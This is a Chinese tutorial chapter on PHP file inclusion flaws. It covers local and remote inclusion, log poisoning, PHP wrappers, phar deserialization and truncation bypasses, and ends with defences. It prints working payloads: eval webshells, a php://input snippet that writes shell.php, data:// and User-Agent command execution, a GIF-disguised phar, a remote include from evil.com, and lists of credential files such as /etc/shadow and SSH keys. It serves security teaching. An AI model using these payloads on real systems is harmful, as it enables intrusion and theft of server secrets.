Files
security-book/02.WEB安全/07.文件包含漏洞.md
2025-08-27 14:13:17 +08:00

29 KiB
Raw Permalink Blame History

07.文件包含漏洞

1. 漏洞概述

程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。 程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。 几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多, 而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在。

1.1 常见文件包含函数

include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行;
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本;
include_once() require_once():若文件中代码已被包含,则不会再次包含。

1.2 代码分析

image-20240130134224035 $_GET['filename']接收客户端传的参数,其中没有任何过滤带入到 include 函数中include 包含这个文件,引入到当前文件中,因此会造成文件包含漏洞。

1.3 利用方法

文件包含漏洞,需要引入上传的文件到网站目录,或服务器内部的文件,而且权限是可读,才能引入进来,或远程包含进来,但是需要条件。

1.4 本地文件包含

本地包含文件,被包含的文件在本地。

1.4.1 文件包含/etc/passwd

如果存在漏洞,文件又存在的时候,不是 php文件会被读取显示在页面中。/etc/passwd文件是 linux 里的敏感信息文件里存有linux用户的配置信息。 ?filename=../../../../../../../etc/passwd&submit=1 image-20240130134227089

1.4.2 文件包含图片

寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后,代码就被执行。 <?php phpinfo();eval($_POST['cmd']);?> 保存为 shell.jpg 上传图片格式到网站,再用文件包含漏洞引入图片,成功执行代码。 image-20240130134232986 image-20240130134235652

1.5 包含日志文件 getshell

1.5.1 原理分析

中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。 使用 burpsuite 访问GET ,填写 <?php phpinfo();eval($_POST[cmd]);?> linux 日志文件权限默认是 root而php 的权限是 www-data一般情况下都是读取不了如果是 windows 环境下,权限是允许的。 linux 默认的 apache 日志文件路径 访问日志: /var/log/apache2/access.log 错误日志: /var/log/apache2/error.log 把文件日志包含进来即可。

1.5.2 搭建测试环境

<?php
include $_GET['file'];
?>

1.5.3 抓包测试

image-20240130134239231

image-20240130134243113

1.5.4 包含access.log

image-20240130134245384

1.6 包含环境变量 getshell

在User-Agen写入php代码

image-20240130134247494

/proc/self/environ 这个文件里保存了系统的一些变量这里会有用户访问web的session信息其中也会包含user-agent的参数这个参数是你浏览器名称的参数。而这个参数在我们客户端是可以修改的。

image-20240130134249918

如果权限足够(大部分情况下/proc目录下的文件是不行的),包含这个文件就能 getshell

2. 伪协议

当我们本地写不进去远程又包含不了怎么办呢这时我们就需要用到php伪协议了也称封装器直接写入代码执行。

2.1 常见协议

file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流I/O streams zlib:// — 压缩流 data:// — 数据RFC 2397 glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流

image-20240130134253405

2.2 php.ini 参数设置

在 php.ini 里有两个重要的参数allow_url_fopen、allow_url_include。 allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件; allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;

image-20240130134255497

修改一下php配置文件

image-20240130134258504

查看效果

image-20240130134301218

2.3 各种协议利用方法

2.3.1 file://

通过file协议可以访问本地文件系统读取到文件的内容不受allow_url_fopen与allow_url_include的影响 /test.php?file=C:\Windows\System32\drivers\etc\hosts

image-20240130134303855

2.3.2 http://、ftp://

前提条件

allow_url_fopen = On
allow_url_include = On

image-20240130134306124

2.3.3 php://filter

php://filter是一种元封装器设计用于数据流打开时的筛选过滤应用。这对于一体式的文件函数非常有用类似readfile()、file()和file_get_contents()在数据流内容没有读取之前没有机会应用其他过滤器有一些敏感信息会保存在php文件中如果我们直接利用文件包含去打开一个php文件php代码是不会显示在页面上的这时候我们可以以base64编码的方式读取指定文件的源码payload php://filter/convert.base64 -encode/resource= 文件路径 /test.php?file=php://filter/convert.base64-encode/resource=./test.php

image-20240130134310822

Base64解码之后可以得到数据内容

image-20240130134312812

image-20240130134315908

2.3.4 php://input

前提条件

allow_url_include = On
对allow_url_fopen不做要求

php://input可以读取没有处理过的post数据就是用它之后post直接放完整的php代码就可以 访问此页面

test.php?file=php://input

并且在请求体里加上 Payload

image-20240130134319513

image-20240130134321746

执行系统命令

image-20240130134324006

写入shell <?php file_put_contents('./shell.php','<?php eval($_POST[1]);?>');?>

image-20240130134326106

image-20240130134328762

2.3.5 zlib://、bzip2://

压缩流可以访问压缩文件中的子文件将子文件的内容当做php代码执行不受allow_url_fopen、allow_url_include影响 文件路径无绝对路径限制zlib://协议文件压缩为zip或gz都可以bzip2://协议文件压缩为bz2后缀名也可以改为其他如图片后缀

/test.php?file=compress.zlib://shell.zip
/test.php?file=compress.bzip2://shell.bz2

将phpinfo.php压缩之后上传并且利用伪协议包含

image-20240130134330829

2.3.6 data://

前提条件

php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On

利用 data:// 伪协议可以直接达到执行php代码的效果例如执行 phpinfo() 函数,data://text/plain/ ;base64,php 马的 base64 形式,如果base64加密出现+需要做URL编码

<?php system("whoami");?>  base64编码后PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==
/test.php?file=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==

image-20240130134333331

使用phpinfo()

image-20240130134335614

如果不把 + URL编码成 %2b 是会报错的

2.3.7 zip://

压缩流可以访问压缩文件中的子文件将子文件的内容当做php代码执行不受allow_url_fopen、allow_url_include影响 文件路径必须为绝对路径zip文件后缀名可以改为其他如图片后缀#进行url编码为%23

/test.php?file=zip://C:/Users/Administrator/Desktop/usbwebserver/root/shell.zip%23shell.php

image-20240130134340228

将shell.zip改为jpg格式后尝试

/test.php?file=zip://C:/Users/Administrator/Desktop/usbwebserver/root/shell.jpg%23shell.php

image-20240130134343210

2.3.8 glob://

PHP 伪协议 glob:// 可以用于获取符合指定模式的文件路径列表。类似于原生的 glob() 函数,但 glob:// 可以用于读取远程文件系统或者压缩文件中的文件列表。例如:

$files = glob('glob://*.php');
print_r($files);

这个例子将返回所有 PHP 扩展名的文件列表,不仅仅限于当前服务器上的文件系统。可以通过指定不同的调用参数,参数之间使用“|” 分隔例如“glob://*.txt|flags=GLOB_BRACE”来指定返回不同的结果集。 网站源码如下

<?php
$it = new DirectoryIterator($_GET['file']);
foreach($it as $f){
	printf("%s", $f->getFilename());
	echo '</br>';
}
?>

遍历文件或者通配符,打印需要一个过程

/glob.php?file=glob://C:/Users/Administrator/Desktop/usbwebserver/root/*.*

image-20240130134348293

2.3.9 phar://

PHP 伪协议 phar:// 可以用于在 PHP 中访问 PharPHP 归档)文件中的资源(如文件和目录)。 Phar 文件是一个 PHP 应用程序或库的预打包归档文件它可以包含代码、配置、模板、图片、音频等相关资源。Phar 格式相当于 Java 中的 JAR 包,.NET 中的 DLL 文件,或者 Python 中的 Egg 包。 通过 phar:// 协议,我们可以在 PHP 中方便地对 Phar 文件中的特定资源进行读取、写入、修改、添加和删除等操作,而无需解压缩整个 Phar 文件,从而提高了文件操作的效率。 举例来说,假设我们的目录结构如下:

app.phar
index.php

其中app.phar 是一个包含库代码和配置文件的 Phar 文件。我们可以通过以下方式在 index.php 中调用 Phar 文件中包含的某个文件:

$pharFile = 'phar://app.phar/path/to/file.txt';
$fileContent = file_get_contents($pharFile);

这是将 Phar 文件中 /path/to/file.txt 文件的内容读取到 $fileContent 变量中。可以看出,通过 phar:// 协议,我们可以轻松地访问 Phar 文件中的资源。 可以调用phar://的函数列表

fileatime filectiome file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtiome fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

phar文件要能够上传到服务器端。如file_exists()fopen()file_get_contents()file()等文件操作的函数要有可用的魔术方法作为“跳板”。文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。 可以理解为一个标志,格式为xxx<?php xxx ;__HALT_COMPILER() ;?>前面内容不限但必须以__HALT_COMPILER() ;?> 来结尾否则phar扩展将无法识别这个文件为phar文件。 phar的本质是一种压缩文件其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data这是上述攻击手法最核心的地方。

2.3.9.1 案例

注意要将php.ini中的phar.readonly选项设置为Off否则无法生成phar文件。

image-20240130134400007

phar.php

<?php
class TestObject {
}
$phar = new Phar("phar.phar"); // 后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub
$o = new TestObject();
$o -> data='eagleslab';
$phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?>

访问后,会生成一个phar.phar在当前目录下。用HxD分析可以看到是meta-data是以序列化的形式存储的。

image-20240130134403694

有序列化数据必然会有反序列化操作php一大部分的文件系统函数在通过 phar:// 伪协议解析phar文件时都会将meta-data进行反序列化测试后受影响的函数如下 phartest.php

<?php
class TestObject{
   function __destruct()
   {
       echo $this -> data;   // TODO: Implement __destruct() method.
   }
}
include('phar://phar.phar');
?>

访问结果如下

image-20240130134406650

将phar伪造成其他格式的文件 在前面分析phar的文件结构时可能会注意到php识别phar文件是通过其文件头的stub更确切一点来说是<?php __HALT_COMPILER() ;?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。 phar.php

<?php
   class TestObject {
   }
   $phar = new Phar('phar.phar');
   $phar -> startBuffering();
   $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   // 设置 stub ,增加 gif文件头
   $phar ->addFromString('test.txt','test'); // 添加要压缩的文件
   $object = new TestObject();
   $object -> data = 'eagleslab';
   $phar -> setMetadata($object); // 将自定义 meta-data 存入 manifest
   $phar -> stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测。 验证环境准备

upload_file.php ,后端检测文件上传,文件类型是否为 gif ,文件后缀名是否为 gif
upload_file.html 文件上传表单
file_un.php 存在 file_exists() ,并且存在 __destruct()

upload_file.php内容

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"],
strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
   echo "Upload: " . $_FILES["file"]["name"];
   echo "Type: " . $_FILES["file"]["type"];
   echo "Temp file: " . $_FILES["file"]["tmp_name"];
   if (file_exists("upload_file/" . $_FILES["file"]["name"]))
   {
       echo $_FILES["file"]["name"] . " already exists. ";
   }
   else
   {
       move_uploaded_file($_FILES["file"]["tmp_name"],
           "upload_file/" .$_FILES["file"]["name"]);
       echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
   }
}
else
{
   echo "Invalid file,you can only upload gif";
}

upload_file.html内容

<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <title>Title</title>
</head>
<body>
<form action="upload_file.php" method="post"
enctype="multipart/form-data">
   <input type="file" name="file" />
   <input type="submit" name="Upload" />
</form>
</body>
</html>

file_un.php内容

<?php
$filename=$_GET['filename'];
class AnyClass{
   var $output = 'echo "ok";';
   function __destruct()
   {
       eval($this -> output);
   }
}
file_exists($filename);

payload制作 首先是根据file_un.php写一个生成phar的php文件当然需要绕过gif所以需要加GIF89a然后我们访问这个php文件后生成了phar.phar修改后缀为gif上传到服务器然后利用file_exists使用phar://执行代码

<?php
class AnyClass{
   var $output = 'echo "ok";';
   function __destruct()
   {
       eval($this -> output);
   }
}
$phar = new Phar('eval.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); // 指定文件头
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();'; // 此处就是前面反序列输出的位置,也就是可以控制
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

攻击过程 访问我们的html并上传eval.phar文件可以发现禁止了

image-20240130134411220

这个时候我们可以修改后缀名phar为gif

image-20240130134413927

image-20240130134418472

可以看到文件上传成功了那我们可以用file_un.php文件来执行paylaod

/file_un.php?filename=phar://upload_file/eval.gif

image-20240130134420768

2.3.10 expect://

该封装协议默认未开启 expect:// 是 PHP 中的一个伪协议Wrapper用于执行交互式命令。它在 PHP 5.4.0 版本中被引入,需要安装 Expect 扩展才能使用。 Expect 是一个用于自动化交互式进程的工具,它可以从一个脚本中发送命令,并且根据命令输出来自动匹配响应,从而实现自动化控制。在 PHP 中,通过 expect:// 伪协议可以直接访问 Expect 工具,方便地使用其功能。 下面是一个 expect:// 的实例:

// 通过 expect:// 打开 telnet 连接
$handle = fopen("expect://telnetbbs.example.com", "r+");

// 像 telnet 发送命令
fwrite($handle, "username\n");
fwrite($handle, "password\n");
fwrite($handle, "ls\n");

// 读取 telnet 输出
echo stream_get_contents($handle);

// 关闭连接
fclose($handle);

在上面的例子中,我们通过 expect:// 打开了一个 Telnet 连接,并向其发送了一些命令,最后读取了 Telnet 的响应并关闭了连接。 需要注意的是,使用 expect:// 时需要安装 Expect 扩展,如果扩展没有安装,则会抛出一个致命错误。而且使用 Expect 执行交互式命令需要精确匹配命令输出中的某些字符,因此需要更加仔细地编写代码。 如果没有安装这个扩展会报错

image-20240130134424142

2.3.11 ssh2://

该封装协议默认未开启

ssh2.shell://user:pass@example.com:22/xterm

2.3.12 rar://

该封装协议默认未开启

2.3.13 ogg://

该封装协议默认未开启

ogg://soundfile.ogg

ogg:// 是 PHP 中的一个伪协议Wrapper用于读取 Ogg Vorbis 格式的音频文件。通过 ogg:// 伪协议,我们可以像操作本地文件一样地读取和处理 Ogg Vorbis 格式的音频文件,无需下载到本地硬盘。 Ogg Vorbis 是一个自由、开放的音频压缩格式,与 MP3 相比,它有更好的压缩比和音频质量,通常用于开源软件的音频压缩和传输。 下面是一个 ogg:// 的实例:

// 打开 Ogg Vorbis 文件
$file = fopen("ogg://example.com/song.ogg", "rb");

// 读取文件内容
$content = stream_get_contents($file);

// 关闭文件
fclose($file);

在上面的代码中,我们打开了一个远程 Ogg Vorbis 文件,读取了其中的内容并关闭了文件句柄。 需要注意的是,使用 ogg:// 伪协议需要安装相关扩展,如 Ogg 和 Vorbis 扩展等。同时,由于 Ogg 文件通常较大,因此在读取和处理数据时需要考虑内存占用和性能问题。

3. 文件包含常用路径

日志文件

/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

网站配置文件

dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php

包含系统配置文件

windows
C:/boot.ini//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件
C:/Windows/repairsam//存储系统初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息

linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz

包含远程文件 当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On 允许远程包含文件。

image-20240130134429128

4. 绕过截断

假如用户控制 $file 的值为 :../../etc/passwd 那么这段代码相当于 include 'inc/../../etc/passwd.htm' ,而这个文件显然是不存在

<?php include("inc/" . $_GET['file'] . ".htm"); ?>

4.1 %00

需要注意的是, %00 截断需要 php 版本小于 5.3.4 ,且关闭 magic_quotes_gpc 功能。 %00 为结束符,在 filename 后带上 %00 ,就可以截断末尾的 .php 。

/test.php?file=../../../../../windows/system32/drivers/etc/hosts%00

image-20240130134433037

4.2 ?

截断方法就是 ?号截断,在路径后面输入 ?号,服务器会认为 ?号后面的内容为 GET 方法传递的参数"?" 符号在 URL 中通常被解释为查询字符串的起始符号,并将其后面的内容作为查询参数传递给服务器。在文件包含攻击中,攻击者试图通过构造恶意请求来读取或执行未授权访问的文件。

/test.php?file=http://file.eagleslab.com:8889/data/shell.txt?
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt%3f
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt%00

image-20240130134435362

4.3 路径长度截断

Windows 下目录最大长度为 256 字节,超出的部分会被丢弃 Linux 下目录最大长度为 4096 字节,超出的部分会被丢弃

/test.php?file=shell.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

image-20240130134437576

4.4 点号截断

类似长度截断, php 版本小于 5.3 可以成功,只适用 windows ,点号需要多于 256

/test.php?file=shell.txt............................................................................................................................................................................................................................................................................................................................................................

image-20240130134442613

4.5 问号绕过

在一些 Web 服务器上,文件名后加 "?" 号会被解释为查询字符串的起始符号,并将其后面的内容作为查询参数传递给服务器。因此,如果一个网站存在文件包含漏洞,攻击者可以尝试在文件名后加 "?" 号并构造一个恶意查询参数来绕过某些安全检查。 但是,这种攻击方式并不是所有 Web 服务器都支持。例如, Apache Web 服务器默认情况下不允许在文件名后加"?" 号进行文件包含操作,而需要在配置文件中显式开启该功能。

4.6 #号绕过

"#" 符号在 URL 中通常被解释为锚点或片段标识符,用于指定文档内的特定位置。在文件包含攻击中,攻击者试图通过构造恶意请求来读取或执行未授权访问的文件。文件名后加 "%23"(# 号编码: %23)

4.7 空格绕过

空格字符在 URL 中通常会被转义为 "%20" 或 "+" 等编码形式。因此,如果攻击者尝试在 URL 中使用空格字符来绕过文件包含防护措施,大多数 Web 服务器会将空格字符解释为编码后的形式,并根据配置文件或应用程序代码进行相应的处理。

4.8 编码

通过 URL 编码来绕过过滤:攻击者可以使用 URL 编码来混淆字符,从而绕过过滤器的检查。

4.9 伪协议

用伪协议尝试攻击 利用伪协议来绕过过滤:攻击者可以使用伪协议(如 php://input )来绕过过滤器的检查。

4.10 null字符

用null 字节来绕过过滤:攻击者可以在文件路径中插入 null 字节( \0 ),使得文件被截断,绕过过滤器的检查。 在许多编程语言和操作系统中, null 字符( \0 )用作字符串的结束标志。在文件系统中,如果文件名包含 null 字符,则系统将其视为字符串的结束,从而导致文件路径被截断,绕过一些安全检查。

5. SRC挖掘思路

  1. 确定漏洞点
  • 观察 URL 或请求参数中是否存在文件路径参数,例如:

    http://example.com/index.php?file=home.html
    
  • 观察文件包含函数,例如:

    include($_GET['file']);
    require($_POST['path']);
    
  1. 常见的文件包含测试
  • 目录遍历测试

尝试使用 ../ 进行目录遍历:

file=../../../../etc/passwd
file=../../../../windows/system32/drivers/etc/hosts

如果服务器允许,可能会读取敏感文件,例如 Linux 的 /etc/passwd 或 Windows 的 hosts 文件。

  • 协议绕过

某些 PHP 版本支持 php://data:// 等流协议:

file=php://filter/convert.base64-encode/resource=index.php  # 读取文件并编码
file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==  # 直接执行 PHP 代码
  • 日志包含

如果可以写入日志文件,可以尝试包含日志文件执行代码:

file=/var/log/nginx/access.log

然后访问:

User-Agent: <?php system($_GET['cmd']); ?>

再用 file=/var/log/nginx/access.log&cmd=id 执行命令。

  • Session 文件包含

如果目标网站使用 PHP session并且可以控制 session_id(),尝试包含 session 文件:

file=/var/lib/php/sessions/sess_<session_id>

然后在 session 中写入 PHP 代码进行执行。

  1. RCE远程代码执行利用

如果 allow_url_include=On,尝试包含远程文件:

file=http://evil.com/shell.txt

如果可以写入包含的文件(如日志、缓存),则写入 PHP 代码后再包含。

结合 php://input 方式:

file=php://input

然后在 POST 请求体中传入:

<?php system($_GET['cmd']); ?>
  1. 绕过与防御

文件后缀绕过:如果 file.php 过滤了 .php,尝试 file.php%00PHP 5.xfile(某些配置)。

双写绕过:如果 .. 被拦截,尝试 ....//....\/

路径分隔符绕过Windows 下尝试 ..\Linux 下尝试 ../../

编码绕过

  • URL 编码:%2e%2e%2f
  • Base64 编码:Lw== 代表 /
  1. 手动+自动化测试工具

手动测试Burp Suite、浏览器调试

自动化工具

  • LFI 自动化测试工具LFISuite、Fimap
  • 日志包含辅助工具Burp Collaborator、Metasploit

6. 文件包含漏洞防御方案

  1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
  2. 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../"
  3. 包含文件验证:验证被包含的文件是否是白名单中的一员;
  4. 尽量不要使用动态包含可以在需要包含的页面固定写好include('head.php')。
  5. 设置 allow_url_include 为 Off